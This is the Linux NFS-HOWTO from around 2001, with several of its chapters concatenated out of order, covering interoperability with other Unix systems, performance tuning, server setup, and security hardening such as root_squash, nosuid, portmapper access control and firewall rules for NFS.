Using Linux NFS with Other OSes

Linux NFS-HOWTO
Prev

8. Using Linux NFS with Other OSes

Every operating system, Linux included, has quirks and deviations in the behavior of its NFS implementation -- sometimes because the protocols are vague, sometimes because they leave gaping security holes. Linux will work properly with all major vendors' NFS implementations, as far as we know. However, there may be extra steps involved to make sure the two OSes are communicating clearly with one another. This section details those steps.

In general, it is highly ill-advised to attempt to use a Linux machine with a kernel before 2.2.18 as an NFS server for non-Linux clients. Implementations with older kernels may work fine as clients; however if you are using one of these kernels and get stuck, the first piece of advice we would give is to upgrade your kernel and see if the problems go away. The user-space NFS implementations also do not work well with non-Linux clients.

Following is a list of known issues for using Linux together with major operating systems.

8.1. AIX

8.1.1. Linux Clients and AIX Servers

The format for the /etc/exports file for our example in Section 3 is:
  /usr   slave1.foo.com:slave2.foo.com,access=slave1.foo.com:slave2.foo.com
  /home  slave1.foo.com:slave2.foo.com,rw=slave1.foo.com:slave2.foo.com

8.1.2. AIX clients and Linux Servers

AIX uses the file /etc/filesystems instead of /etc/fstab. A sample entry, based on the example in Section 4, looks like this:
/mnt/home:
        dev             = "/home"
        vfs             = nfs
        nodename        = master.foo.com
        mount           = true
        options         = bg,hard,intr,rsize=1024,wsize=1024,vers=2,proto=udp
        account         = false

  1. Version 4.3.2 of AIX requires that file systems be exported with the insecure option, which causes NFS to listen to requests from insecure ports (i.e., ports above 1024, to which non-root users can bind). Older versions of AIX do not seem to require this.

  2. AIX clients will default to mounting version 3 NFS over TCP. If your Linux server does not support this, then you may need to specify vers=2 and/or proto=udp in your mount options.

  3. Using netmasks in /etc/exports seems to sometimes cause clients to lose mounts when another client is reset. This can be fixed by listing out hosts explicitly.

  4. Apparently automount in AIX 4.3.2 is rather broken.

8.2. BSD

8.2.1. BSD servers and Linux clients

BSD kernels tend to work better with larger block sizes.

8.2.2. Linux servers and BSD clients

Some versions of BSD may make requests to the server from insecure ports, in which case you will need to export your volumes with the insecure option. See the man page for exports(5) for more details.

8.3. Compaq Tru64 Unix

8.3.1. Tru64 Unix Servers and Linux Clients

In general, Tru64 Unix servers work quite smoothly with Linux clients. The format for the /etc/exports file for our example in Section 3 is:

/usr         slave1.foo.com:slave2.foo.com \
     -access=slave1.foo.com:slave2.foo.com \

/home        slave1.foo.com:slave2.foo.com \
         -rw=slave1.foo.com:slave2.foo.com \
       -root=slave1.foo.com:slave2.foo.com

Tru64 checks the /etc/exports file every time there is a mount request so you do not need to run the exportfs command; in fact on many versions of Tru64 Unix the command does not exist.

8.3.2. Linux Servers and Tru64 Unix Clients

There are two issues to watch out for here. First, Tru64 Unix mounts using Version 3 NFS by default. You will see mount errors if your Linux server does not support Version 3 NFS. Second, in Tru64 Unix 4.x, NFS locking requests are made by daemon. You will therefore need to specify the insecure_locks option on all volumes you export to a Tru64 Unix 4.x client; see the exports man pages for details.

8.4. HP-UX

8.4.1. HP-UX Servers and Linux Clients

A sample /etc/exports entry on HP-UX looks like this:
/usr -ro,access=slave1.foo.com:slave2.foo.com
/home -rw=slave1.foo.com:slave2.fo.com:root=slave1.foo.com:slave2.foo.com
(The root option is listed in the last entry for informational purposes only; its use is not recommended unless necessary.)

8.4.2. Linux Servers and HP-UX Clients

HP-UX diskless clients will require at least a kernel version 2.2.19 (or patched 2.2.18) for device files to export correctly.

8.5. IRIX

8.5.1. IRIX Servers and Linux Clients

A sample /etc/exports entry on IRIX looks like this:
/usr -ro,access=slave1.foo.com:slave2.foo.com
/home -rw=slave1.foo.com:slave2.fo.com:root=slave1.foo.com:slave2.foo.com
(The root option is listed in the last entry for informational purposes only; its use is not recommended unless necessary.)

There are reportedly problems when using the nohide option on exports to linux 2.2-based systems. This problem is fixed in the 2.4 kernel. As a workaround, you can export and mount lower-down file systems separately.

8.5.2. IRIX clients and Linux servers

There are no known interoperability issues.

8.6. Solaris

8.6.1. Solaris Servers

Solaris has a slightly different format on the server end from other operating systems. Instead of /etc/exports, the configuration file is /etc/dfs/dfstab. Entries are of the form of a "share" command, where the syntax for the example in Section 3 would look like
share -o rw=slave1,slave2 -d "Master Usr" /usr
and instead of running exportfs after editing, you run shareall.

Solaris servers are especially sensitive to packet size. If you are using a Linux client with a Solaris server, be sure to set rsize and wsize to 32768 at mount time.

Finally, there is an issue with root squashing on Solaris: root gets mapped to the user noone, which is not the same as the user nobody. If you are having trouble with file permissions as root on the client machine, be sure to check that the mapping works as you expect.

8.6.2. Solaris Clients

Solaris clients will regularly produce the following message:

svc: unknown program 100227 (me 100003)

This happens because Solaris clients, when they mount, try to obtain ACL information - which linux obviously does not have. The messages can safely be ignored.

There are two known issues with diskless Solaris clients: First, a kernel version of at least 2.2.19 is needed to get /dev/null to export correctly. Second, the packet size may need to be set extremely small (i.e., 1024) on diskless sparc clients because the clients do not know how to assemble packets in reverse order. This can be done from /etc/bootparams on the clients.

8.7. SunOS

SunOS only has NFS Version 2 over UDP.

8.7.1. SunOS Servers

On the server end, SunOS uses the most traditional format for its /etc/exports file. The example in Section 3 would look like:
/usr    -access=slave1.foo.com,slave2.foo.com
/home   -rw=slave1.foo.com,slave2.foo.com, root=slave1.foo.com,slave2.foo.com

8.7.2. SunOS Clients

Be advised that SunOS makes all NFS locking requests as daemon, and therefore you will need to add the insecure_locks option to any volumes you export to a SunOS machine. See the exports man page for details.

Prev | Home
Troubleshooting |


Introduction

Linux NFS-HOWTO
Prev Next

2. Introduction

2.1. What is NFS?

The Network File System (NFS) was developed to allow machines to mount a disk partition on a remote machine as if it were on a local hard drive. This allows for fast, seamless sharing of files across a network.

It also gives the potential for unwanted people to access your hard drive over the network (and thereby possibly read your email and delete all your files as well as break into your system) if you set it up incorrectly. So please read the Security section of this document carefully if you intend to implement an NFS setup.

There are other systems that provide similar functionality to NFS. Samba provides file services to Windows clients. The Andrew File System from IBM (http://www.transarc.com/Product/EFS/AFS/index.html), recently open-sourced, provides a file sharing mechanism with some additional security and performance features. The Coda File System (http://www.coda.cs.cmu.edu/) is still in development as of this writing but is designed to work well with disconnected clients. Many of the features of the Andrew and Coda file systems are slated for inclusion in the next version of NFS (Version 4) (http://www.nfsv4.org). The advantage of NFS today is that it is mature, standard, well understood, and supported robustly across a variety of platforms.

2.2. What is this HOWTO and what is it not?

This HOWTO is intended as a complete, step-by-step guide to setting up NFS correctly and effectively. Setting up NFS involves two steps, namely configuring the server and then configuring the client. Each of these steps is dealt with in order. The document then offers some tips for people with particular needs and hardware setups, as well as security and troubleshooting advice.

This HOWTO is not a description of the guts and underlying structure of NFS. For that you may wish to read Managing NFS and NIS by Hal Stern, published by O'Reilly & Associates, Inc. While that book is severely out of date, much of the structure of NFS has not changed, and the book describes it very articulately. A much more advanced and up-to-date technical description of NFS is available in NFS Illustrated by Brent Callaghan.

This document is also not intended as a complete reference manual, and does not contain an exhaustive list of the features of Linux NFS. For that, you can look at the man pages for nfs(5), exports(5), mount(8), fstab(5), nfsd(8), lockd(8), statd(8), rquotad(8), and mountd(8).

It will also not cover PC-NFS, which is considered obsolete (users are encouraged to use Samba to share files with PC's) or NFS Version 4, which is still in development.

2.3. Knowledge Pre-Requisites

You should know some basic things about TCP/IP networking before reading this HOWTO; if you are in doubt, read the Networking- Overview-HOWTO.

2.4. Software Pre-Requisites: Kernel Version and nfs-utils

The difference between Version 2 NFS and version 3 NFS will be explained later on; for now, you might simply take the suggestion that you will need NFS Version 3 if you are installing a dedicated or high-volume file server. NFS Version 2 should be fine for casual use.

NFS Version 2 has been around for quite some time now (at least since the 1.2 kernel series) however you will need a kernel version of at least 2.2.18 if you wish to do any of the following:

  • Mix Linux NFS with other operating systems' NFS

  • Use file locking reliably over NFS

  • Use NFS Version 3.

There are also patches available for kernel versions above 2.2.14 that provide the above functionality. Some of them can be downloaded from the Linux NFS homepage. If your kernel version is 2.2.14- 2.2.17 and you have the source code on hand, you can tell if these patches have been added because NFS Version 3 server support will be a configuration option. However, unless you have some particular reason to use an older kernel, you should upgrade because many bugs have been fixed along the way.

Version 3 functionality will also require the nfs-utils package of at least version 0.1.6, and mount version 2.10m or newer. However because nfs-utils and mount are fully backwards compatible, and because newer versions have lots of security and bug fixes, there is no good reason not to install the newest nfs-utils and mount packages if you are beginning an NFS setup.

All 2.4 and higher kernels have full NFS Version 3 functionality.

All kernels after 2.2.18 support NFS over TCP on the client side. As of this writing, server-side NFS over TCP only exists in the later 2.2 series (but not yet in the 2.4 kernels), is considered experimental, and is somewhat buggy.

Because so many of the above functionalities were introduced in kernel version 2.2.18, this document was written to be consistent with kernels above this version (including 2.4.x). If you have an older kernel, this document may not describe your NFS system correctly.

As we write this document, NFS version 4 is still in development as a protocol, and it will not be dealt with here.

2.5. Where to get help and further information

As of November 2000, the Linux NFS homepage is at http://nfs.sourceforge.net. Please check there for NFS related mailing lists as well as the latest version of nfs-utils, NFS kernel patches, and other NFS related packages.

You may also wish to look at the man pages for  nfs(5),
 exports(5), mount(8), fstab(5),
 nfsd(8), lockd(8), statd(8),
 rquotad(8), and mountd(8).

Prev | Home | Next
Preamble |  | Setting Up an NFS Server


Optimizing NFS Performance

Linux NFS-HOWTO
Prev Next

5. Optimizing NFS Performance

Getting network settings right can improve NFS performance many times over -- a tenfold increase in transfer speeds is not unheard of. The most important things to get right are the rsize and wsize mount options. Other factors listed below may affect people with particular hardware setups.

5.1. Setting Block Size to Optimize Transfer Speeds

The rsize and wsize mount options specify the size of the chunks of data that the client and server pass back and forth to each other. If no rsize and wsize options are specified, the default varies by which version of NFS we are using. 4096 bytes is the most common default, although for TCP-based mounts in 2.2 kernels, and for all mounts beginning with 2.4 kernels, the server specifies the default block size.

The defaults may be too big or too small. On the one hand, some combinations of Linux kernels and network cards (largely on older machines) cannot handle blocks that large. On the other hand, if they can handle larger blocks, a bigger size might be faster.

So we'll want to experiment and find an rsize and wsize that works and is as fast as possible. You can test the speed of your options with some simple commands.

The first of these commands transfers 16384 blocks of 16k each from the special file /dev/zero (which if you read it just spits out zeros _really_ fast) to the mounted partition. We will time it to see how long it takes. So, from the client machine, type:
    # time dd if=/dev/zero of=/mnt/home/testfile bs=16k count=16384

This creates a 256Mb file of zeroed bytes. In general, you should create a file that's at least twice as large as the system RAM on the server, but make sure you have enough disk space! Then read back the file into the great black hole on the client machine (/dev/null) by typing the following:
    # time dd if=/mnt/home/testfile of=/dev/null bs=16k

Repeat this a few times and average how long it takes. Be sure to unmount and remount the filesystem each time (both on the client and, if you are zealous, locally on the server as well), which should clear out any caches.

Then unmount, and mount again with a larger and smaller block size. They should probably be multiples of 1024, and not larger than 8192 bytes since that's the maximum size in NFS version 2. (Though if you are using Version 3 you might want to try up to 32768.) Wisdom has it that the block size should be a power of two since most of the parameters that would constrain it (such as file system block sizes and network packet size) are also powers of two. However, some users have reported better successes with block sizes that are not powers of two but are still multiples of the file system block size and the network packet size.

Directly after mounting with a larger size, cd into the mounted file system and do things like ls, explore the fs a bit to make sure everything is as it should. If the rsize/wsize is too large the symptoms are very odd and not 100% obvious. A typical symptom is incomplete file lists when doing 'ls', and no error messages. Or reading files failing mysteriously with no error messages. After establishing that the given rsize/wsize works you can do the speed tests again. Different server platforms are likely to have different optimal sizes. SunOS and Solaris is reputedly a lot faster with 4096 byte blocks than with anything else.

Remember to edit /etc/fstab to reflect the rsize/wsize you found.

5.2. Packet Size and Network Drivers

There are many shoddy network drivers available for Linux, including for some fairly standard cards.

Try pinging back and forth between the two machines with large packets using the -f and -s options with ping (see man ping) for more details and see if a lot of packets get or if they take a long time for a reply. If so, you may have a problem with the performance of your network card.

To correct such a problem, you may wish to reconfigure the packet size that your network card uses. Very often there is a constraint somewhere else in the network (such as a router) that causes a smaller maximum packet size between two machines than what the network cards on the machines are actually capable of. TCP should autodiscover the appropriate packet size for a network, but UDP will simply stay at a default value. So determining the appropriate packet size is especially important if you are using NFS over UDP.

You can test for the network packet size using the tracepath command: From the client machine, just type tracepath [server] 2049 and the path MTU should be reported at the bottom. You can then set the MTU on your network card equal to the path MTU, by using the MTU option to ifconfig, and see if fewer packets get dropped. See the ifconfig man pages for details on how to reset the MTU.

5.3. Number of Instances of NFSD

Most startup scripts, Linux and otherwise, start 8 instances of nfsd. In the early days of NFS, Sun decided on this number as a rule of thumb, and everyone else copied. There are no good measures of how many instances are optimal, but a more heavily-trafficked server may require more. If you are using a 2.4 or higher kernel and you want to see how heavily each nfsd thread is being used, you can look at the file /proc/net/rpc/nfsd. The last ten numbers on the th line in that file indicate the number of seconds that the thread usage was at that percentage of the maximum allowable. If you have a large number in the top three deciles, you may wish to increase the number of nfsd instances. This is done upon starting nfsd using the number of instances as the command line option. See the nfsd man page for more information.

5.4. Memory Limits on the Input Queue

On 2.2 and 2.4 kernels, the socket input queue, where requests sit while they are currently being processed, has a small default size limit of 64k. This means that if you are running 8 instances of nfsd, each will only have 8k to store requests while it processes them.

You should consider increasing this number to at least 256k for nfsd. This limit is set in the proc file system using the files /proc/sys/net/core/rmem_default and /proc/sys/net/core/rmem_max. It can be increased in three steps; the following method is a bit of a hack but should work and should not cause any problems:

  1. Increase the size listed in the file:
       echo 262144 > /proc/sys/net/core/rmem_default
   echo 262144 > /proc/sys/net/core/rmem_max

  2. Restart nfsd, e.g., type /etc/rc.d/init.d/nfsd restart on Red Hat

  3. Return the size limits to their normal size in case other kernel systems depend on it:

     echo 65536 > /proc/sys/net/core/rmem_default
     echo 65536 > /proc/sys/net/core/rmem_max

    Be sure to perform this last step because machines have been reported to crash if these values are left changed for long periods of time.

5.5. Overflow of Fragmented Packets

The NFS protocol uses fragmented UDP packets. The kernel has a limit of how many fragments of incomplete packets it can buffer before it starts throwing away packets. With 2.2 kernels that support the /proc filesystem, you can specify how many by editing the files /proc/sys/net/ipv4/ipfrag_high_thresh and /proc/sys/net/ipv4/ipfrag_low_thresh.

Once the number of unprocessed, fragmented packets reaches the number specified by ipfrag_high_thresh (in bytes), the kernel will simply start throwing away fragmented packets until the number of incomplete packets reaches the number specified by ipfrag_low_thresh. (With 2.2 kernels, the default is usually 256K). This will look like packet loss, and if the high threshold is reached your server performance drops a lot.

One way to monitor this is to look at the field IP: ReasmFails in the file /proc/net/snmp; if it goes up too quickly during heavy file activity, you may have problem. Good alternative values for ipfrag_high_thresh and ipfrag_low_thresh have not been reported; if you have a good experience with a particular value, please let the maintainers and development team know.

5.6. Turning Off Autonegotiation of NICs and Hubs

Sometimes network cards will auto-negotiate badly with hubs and switches and this can have strange effects. Moreover, hubs may lose packets if they have different ports running at different speeds. Try playing around with the network speed and duplex settings.

5.7. Non-NFS-Related Means of Enhancing Server Performance

Offering general guidelines for setting up a well-functioning file server is outside the scope of this document, but a few hints may be worth mentioning: First, RAID 5 gives you good read speeds but lousy write speeds; consider RAID 1/0 if both write speed and redundancy are important. Second, using a journalling filesystem will drastically reduce your reboot time in the event of a system crash; as of this writing, ext3 (ftp://ftp.uk.linux.org/pub/linux/sct/fs/jfs/) was the only journalling filesystem that worked correctly with NFS version 3, but no doubt that will change soon. In particular, it looks like Reiserfs should work with NFS version 3 on 2.4 kernels, though not yet on 2.2 kernels. Finally, using an automounter (such as autofs or amd) may prevent hangs if you cross-mount files on your machines (whether on purpose or by oversight) and one of those machines goes down. See the Automount Mini-HOWTO for details.

Prev | Home | Next
Setting up an NFS Client |  | Security and NFS


Preamble

Linux NFS-HOWTO
Prev Next

1. Preamble

1.1. Legal stuff

Copyright (c) <2001> by Tavis Barr, Nicolai Langfeldt, and Seth Vidal. This material may be distributed only subject to the terms and conditions set forth in the Open Publication License, v1.0 or later (the latest version is presently available at http://www.opencontent.org/openpub/).

1.2. Disclaimer

This document is provided without any guarantees, including merchantability or fitness for a particular use. The maintainers cannot be responsible if following instructions in this document leads to damaged equipment or data, angry neighbors, strange habits, divorce, or any other calamity.

1.3. Feedback

This will never be a finished document; we welcome feedback about how it can be improved. As of October 2000, the Linux NFS home page is being hosted at http://nfs.sourceforge.net. Check there for mailing lists, bug fixes, and updates, and also to verify who currently maintains this document.

1.4. Translation

If you are able to translate this document into another language, we would be grateful and we will also do our best to assist you. Please notify the maintainers.

1.5. Dedication

NFS on Linux was made possible by a collaborative effort of many people, but a few stand out for special recognition. The original version was developed by Olaf Kirch and Alan Cox. The version 3 server code was solidified by Neil Brown, based on work from Saadia Khan, James Yarbrough, Allen Morris, H.J. Lu, and others (including himself). The client code was written by Olaf Kirch and updated by Trond Myklebust. The version 4 lock manager was developed by Saadia Khan. Dave Higgen and H.J. Lu both have undertaken the thankless job of extensive maintenance and bug fixes to get the code to actually work the way it was supposed to. H.J. has also done extensive development of the nfs-utils package. Of course this dedication is leaving many people out.

The original version of this document was developed by Nicolai Langfeldt. It was heavily rewritten in 2000 by Tavis Barr and Seth Vidal to reflect substantial changes in the workings of NFS for Linux developed between the 2.0 and 2.4 kernels. Thomas Emmel, Neil Brown, Trond Myklebust, Erez Zadok, and Ion Badulescu also provided valuable comments and contributions.

Prev | Home | Next
Linux NFS-HOWTO |  | Introduction


Security and NFS

Linux NFS-HOWTO
Prev Next

6. Security and NFS

This list of security tips and explanations will not make your site completely secure. NOTHING will make your site completely secure. This may help you get an idea of the security problems with NFS. This is not a comprehensive guide and it will always be undergoing changes. If you have any tips or hints to give us please send them to the HOWTO maintainer.

If you're on a network with no access to the outside world (not even a modem) and you trust all the internal machines and all your users then this section will be of no use to you. However, its our belief that there are relatively few networks in this situation so we would suggest reading this section thoroughly for anyone setting up NFS.

There are two steps to file/mount access in NFS. The first step is mount access. Mount access is achieved by the client machine attempting to attach to the server. The security for this is provided by the /etc/exports file. This file lists the names or ip addresses for machines that are allowed to access a share point. If the client's ip address matches one of the entries in the access list then it will be allowed to mount. This is not terribly secure. If someone is capable of spoofing or taking over a trusted address then they can access your mount points. To give a real-world example of this type of "authentication": This is equivalent to someone introducing themselves to you and you believe they are who they claim to be because they are wearing a sticker that says "Hello, My Name is ...."

The second step is file access. This is a function of normal file system access controls and not a specialized function of NFS. Once the drive is mounted the user and group permissions on the files take over access control.

An example: bob on the server maps to the UserID 9999. Bob makes a file on the server that is only accessible the user (0600 in octal). A client is allowed to mount the drive where the file is stored. On the client mary maps to UserID 9999. This means that the client user mary can access bob's file that is marked as only accessible by him. It gets worse, if someone has root on the client machine they can su - [username] and become ANY user. NFS will be none the wiser.

Its not all terrible. There are a few measures you can take on the server to offset the danger of the clients. We will cover those shortly.

If you don't think the security measures apply to you, you're probably wrong. In Section 6.1 we'll cover securing the portmapper, server and client security in Section 6.2 and Section 6.3 respectively. Finally, in Section 6.4 we'll briefly talk about proper firewalling for your nfs server.

Finally, it is critical that all of your nfs daemons and client programs are current. If you think that a flaw is too recently announced for it to be a problem for you, then you've probably already been compromised.

A good way to keep up to date on security alerts is to subscribe to the bugtraq mailinglists. You can read up on how to subscribe and various other information about bugtraq here: http://www.securityfocus.com/forums/bugtraq/faq.html

Additionally searching for NFS at securityfocus.com's search engine will show you all security reports pertaining to NFS.

You should also regularly check CERT advisories. See the CERT web page at www.cert.org.

6.1. The portmapper

The portmapper keeps a list of what services are running on what ports. This list is used by a connecting machine to see what ports it wants to talk to access certain services.

The portmapper is not in as bad a shape as a few years ago but it is still a point of worry for many sys admins. The portmapper, like NFS and NIS, should not really have connections made to it outside of a trusted local area network. If you have to expose them to the outside world - be careful and keep up diligent monitoring of those systems.

Not all Linux distributions were created equal. Some seemingly up-to- date distributions do not include a securable portmapper. The easy way to check if your portmapper is good or not is to run strings(1) and see if it reads the relevant files, /etc/hosts.deny and /etc/hosts.allow. Assuming your portmapper is /sbin/portmap you can check it with this command:
     strings /sbin/portmap | grep hosts.

On a securable machine it comes up something like this:
   /etc/hosts.allow
   /etc/hosts.deny
   @(#) hosts_ctl.c 1.4 94/12/28 17:42:27
   @(#) hosts_access.c 1.21 97/02/12 02:13:22

First we edit /etc/hosts.deny. It should contain the line

   portmap: ALL

which will deny access to everyone. While it is closed run:
   rpcinfo -p
just to check that your portmapper really reads and obeys this file. Rpcinfo should give no output, or possibly an error message. The files /etc/hosts.allow and /etc/hosts.deny take effect immediately after you save them. No daemon needs to be restarted.

Closing the portmapper for everyone is a bit drastic, so we open it again by editing /etc/hosts.allow. But first we need to figure out what to put in it. It should basically list all machines that should have access to your portmapper. On a run of the mill Linux system there are very few machines that need any access for any reason. The portmapper administers nfsd, mountd, ypbind/ypserv, pcnfsd, and 'r' services like ruptime and rusers. Of these only nfsd, mountd, ypbind/ypserv and perhaps pcnfsd are of any consequence. All machines that need to access services on your machine should be allowed to do that. Let's say that your machine's address is 192.168.0.254 and that it lives on the subnet 192.168.0.0, and that all machines on the subnet should have access to it (those are terms introduced by the Networking-Overview-HOWTO, go back and refresh your memory if you need to). Then we write:
   portmap: 192.168.0.0/255.255.255.0
in /etc/hosts.allow. This is the same as the network address you give to route and the subnet mask you give to ifconfig. For the device eth0 on this machine ifconfig should show:

   ...
   eth0   Link encap:Ethernet  HWaddr 00:60:8C:96:D5:56
          inet addr:192.168.0.254  Bcast:192.168.0.255 Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:360315 errors:0 dropped:0 overruns:0
          TX packets:179274 errors:0 dropped:0 overruns:0
          Interrupt:10 Base address:0x320
   ...
and netstat -rn should show:
   Kernel routing table
   Destination     Gateway         Genmask         Flags Metric Ref Use    Iface
   ...
   192.168.0.0     0.0.0.0         255.255.255.0   U     0      0   174412 eth0
   ...
(Network address in first column).

The /etc/hosts.deny and /etc/hosts.allow files are described in the manual pages of the same names.

IMPORTANT: Do not put anything but IP NUMBERS in the portmap lines of these files. Host name lookups can indirectly cause portmap activity which will trigger host name lookups which can indirectly cause portmap activity which will trigger...

Versions 0.2.0 and higher of the nfs-utils package also use the hosts.allow and hosts.deny files, so you should put in entries for lockd, statd, mountd, and rquotad in these files too.

The above things should make your server tighter. The only remaining problem (Yeah, right!) is someone breaking root (or boot MS-DOS) on a trusted machine and using that privilege to send requests from a secure port as any user they want to be.

6.2. Server security: nfsd and mountd

On the server we can decide that we don't want to trust the client's root account. We can do that by using the root_squash option in /etc/exports:
   /home slave1(rw,root_squash)

This is, in fact, the default. It should always be turned on unless you have a VERY good reason to turn it off. To turn it off use the no_root_squash option.

Now, if a user with UID 0 (i.e., root's user ID number) on the client attempts to access (read, write, delete) the file system, the server substitutes the UID of the server's 'nobody' account. Which means that the root user on the client can't access or change files that only root on the server can access or change. That's good, and you should probably use root_squash on all the file systems you export. "But the root user on the client can still use su to become any other user and access and change that users files!" say you. To which the answer is: Yes, and that's the way it is, and has to be with Unix and NFS. This has one important implication: All important binaries and files should be owned by root, and not bin or other non-root account, since the only account the clients root user cannot access is the servers root account. In the exports(5) man page there are several other squash options listed so that you can decide to mistrust whomever you (don't) like on the clients.

The TCP ports 1-1024 are reserved for root's use (and therefore sometimes referred to as "secure ports") A non-root user cannot bind these ports. Adding the secure option to an /etc/exports entry forces it to run on a port below 1024, so that a malicious non-root user cannot come along and open up a spoofed NFS dialogue on a non-reserved port. This option is set by default.

6.3. Client Security

6.3.1. The nosuid mount option

On the client we can decide that we don't want to trust the server too much a couple of ways with options to mount. For example we can forbid suid programs to work off the NFS file system with the nosuid option. Some unix programs, such as passwd, are called "suid" programs: They set the id of the person running them to whomever is the owner of the file. If a file is owned by root and is suid, then the program will execute as root, so that they can perform operations (such as writing to the password file) that only root is allowed to do. Using the nosuid option is a good idea and you should consider using this with all NFS mounted disks. It means that the server's root user cannot make a suid-root program on the file system, log in to the client as a normal user and then use the suid-root program to become root on the client too. One could also forbid execution of files on the mounted file system altogether with the noexec option. But this is more likely to be impractical than nosuid since a file system is likely to at least contain some scripts or programs that need to be executed.

6.3.2. The broken_suid mount option

Some older programs (xterm being one of them) used to rely on the idea that root can write everywhere. This is will break under new kernels on NFS mounts. The security implications are that programs that do this type of suid action can potentially be used to change your apparent uid on nfs servers doing uid mapping. So the default has been to disable this broken_suid in the linux kernel.

The long and short of it is this: If you're using an old linux distribution, some sort of old suid program or an older unix of some type you might have to mount from your clients with the broken_suid option to mount. However, most recent unixes and linux distros have xterm and such programs just as a normal executable with no suid status, they call programs to do their setuid work.

You enter the above options in the options column, with the rsize and wsize, separated by commas.

6.3.3. Securing portmapper, rpc.statd, and rpc.lockd on the client

In the current (2.2.18+) implementation of nfs, full file locking is supported. This means that rpc.statd and rpc.lockd must be running on the client in order for locks to function correctly. These services require the portmapper to be running. So, most of the problems you will find with nfs on the server you may also be plagued with on the client. Read through the portmapper section above for information on securing the portmapper.

6.4. NFS and firewalls (ipchains and netfilter)

IPchains (under the 2.2.X kernels) and netfilter (under the 2.4.x kernels) allow a good level of security - instead of relying on the daemon (or in this case the tcp wrapper) to determine who can connect, the connection attempt is allowed or disallowed at a lower level. In this case you canstop the connection much earlier and more globaly which can protect you from all sorts of attacks.

Describing how to set up a Linux firewall is well beyond the scope of this document. Interested readers may wish to read the Firewall-HOWTO or the IPCHAINS-HOWTO. For users of kernel 2.4 and above you might want to visit the netfilter webpage at: http://netfilter.filewatcher.org. If you are already familiar with the workings of ipchains or netfilter this section will give you a few tips on how to better setup your firewall to work with NFS.

A good rule to follow for your firewall configuration is to deny all, and allow only some - this helps to keep you from accidentally allowing more than you intended.

Ports to be concerned with:

  1. The portmapper is on 111. (tcp and udp)

  2. nfsd is on 2049 and it can be TCP and UDP. Although NFS over TCP is currently experimental on the server end and you will usually just see UDP on the server, using TCP is quite stable on the client end.

  3. mountd, lockd, and statd float around (which is why we need the portmapper to begin with) - this causes problems. You basically have two options to deal with it:

    1. You more can more or less do a deny all on connecting ports but explicitly allow most ports certain ips.

    2. More recent versions of these utilities have a "-p" option that allows you to assign them to a certain port. See the man pages to be sure if your version supports this. You can then allow access to the ports you have specified for your NFS client machines, and seal off all other ports, even for your local network.

Using IPCHAINS, a simply firewall using the first option would look something like this:
  ipchains -A input -f -j ACCEPT
  ipchains -A input -s trusted.net.here/trusted.netmask -d host.ip/255.255.255.255 -j ACCEPT
  ipchains -A input -s 0/0 -d 0/0 -p 6 -j DENY -y -l
  ipchains -A input -s 0/0 -d 0/0 -p 17 -j DENY -l

The equivalent set of commands in netfilter (the firewalling tool in 2.4) is:

  iptables -A INPUT -f -j ACCEPT
  iptables -A INPUT -s trusted.net.here/trusted.netmask -d \
      host.ip/255.255.255.255 -j ACCEPT
  iptables -A INPUT -s 0/0 -d 0/0 -p 6 -j DENY --syn --log-level 5
  iptables -A INPUT -s 0/0 -d 0/0 -p 17 -j DENY --log-level 5

The first line says to accept all packet fragments (except the first packet fragment which will be treated as a normal packet). In theory no packet will pass through until it is reassembled, and it won't be reassembled unless the first packet fragment is passed. Of course there are attacks that can be generated by overloading a machine with packet fragments. But NFS won't work correctly unless you let fragments through. See Section 7 for details.

The other three lines say trust your local networks and deny and log everything else. It's not great and more specific rules pay off, but more specific rules are outside of the scope of this discussion.

Some pointers if you'd like to be more paranoid or strict about your rules. If you choose to reset your firewall rules each time statd, rquotad, mountd or lockd move (which is possible) you'll want to make sure you allow fragments to your nfs server FROM your nfs client(s). If you don't you will get some very interesting reports from the kernel regarding packets being denied. The messages will say that a packet from port 65535 on the client to 65535 on the server is being denied. Allowing fragments will solve this.

6.5. Summary

If you use the hosts.allow, hosts.deny, root_squash, nosuid and privileged port features in the portmapper/nfs software you avoid many of the presently known bugs in nfs and can almost feel secure about that at least. But still, after all that: When an intruder has access to your network, s/he can make strange commands appear in your .forward or read your mail when /home or /var/mail is NFS exported. For the same reason, you should never access your PGP private key over nfs. Or at least you should know the risk involved. And now you know a bit of it.

NFS and the portmapper makes up a complex subsystem and therefore it's not totally unlikely that new bugs will be discovered, either in the basic design or the implementation we use. There might even be holes known now, which someone is abusing. But that's life.

Prev | Home | Next
Optimizing NFS Performance |  | Troubleshooting


Setting Up an NFS Server

Linux NFS-HOWTO
Prev Next

3. Setting Up an NFS Server

3.1. Introduction to the server setup

It is assumed that you will be setting up both a server and a client. If you are just setting up a client to work off of somebody else's server (say in your department), you can skip to Section 4. However, every client that is set up requires modifications on the server to authorize that client (unless the server setup is done in a very insecure way), so even if you are not setting up a server you may wish to read this section to get an idea what kinds of authorization problems to look out for.

Setting up the server will be done in two steps: Setting up the configuration files for NFS, and then starting the NFS services.

3.2. Setting up the Configuration Files

There are three main configuration files you will need to edit to set up an NFS server: /etc/exports, /etc/hosts.allow, and /etc/hosts.deny. Strictly speaking, you only need to edit /etc/exports to get NFS to work, but you would be left with an extremely insecure setup. You may also need to edit your startup scripts; see Section 3.3.3 for more on that.

3.2.1. /etc/exports

This file contains a list of entries; each entry indicates a volume that is shared and how it is shared. Check the man pages (man exports) for a complete description of all the setup options for the file, although the description here will probably satistfy most people's needs.

An entry in /etc/exports will typically look like this:
 directory machine1(option11,option12) machine2(option21,option22)

where

directory

the directory that you want to share. It may be an entire volume though it need not be. If you share a directory, then all directories under it within the same file system will be shared as well.

machine1 and machine2

client machines that will have access to the directory. The machines may be listed by their IP address or their DNS address (e.g., machine.company.com or 192.168.0.8). Using IP addresses is more reliable and more secure.

optionxx

the option listing for each machine will describe what kind of access that machine will have. Important options are:

  • ro: The directory is shared read only; the client machine will not be able to write to it. This is the default.

  • rw: The client machine will have read and write access to the directory.

  • no_root_squash: By default, any file request made by user root on the client machine is treated as if it is made by user nobody on the server. (Excatly which UID the request is mapped to depends on the UID of user "nobody" on the server, not the client.) If no_root_squash is selected, then root on the client machine will have the same level of access to the files on the system as root on the server. This can have serious security implications, although it may be necessary if you want to perform any administrative work on the client machine that involves the exported directories. You should not specify this option without a good reason.

  • no_subtree_check: If only part of a volume is exported, a routine called subtree checking verifies that a file that is requested from the client is in the appropriate part of the volume. If the entire volume is exported, disabling this check will speed up transfers.

